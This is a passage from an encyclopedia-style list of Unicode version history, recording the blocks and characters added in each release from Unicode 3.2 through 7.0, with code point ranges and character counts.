* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE and U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357, U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+06EE-U+06EF, U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''.
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''.
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''.
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''.
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''.
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''.
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''.
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''.
* Some symbols and signs (total 11 characters) were added to '''Khmer'''.
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''.
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''.
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''.
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''.
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''.
* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''.
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''.
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''.
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''.
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''.
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''', containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''', containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''', containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''', containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''', containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''', containing 4 additional diacritics, was added.
* '''Glagolitic''', containing 94 characters for the Glagolitic script, was added.
* '''Coptic''', containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''', containing 38 Nuskhuri letters, was added.
* '''Tifinagh''', containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''', containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''', containing 26 additional punctuation marks, was added.
* '''CJK Strokes''', containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''', containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''', containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''', containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''', containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''', containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''', containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''', containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''.
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''.
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''.
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''.
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''.
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''.
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''.
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''.
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''.
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''.
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''.
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''.
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''.
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''.
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''.
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''.
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
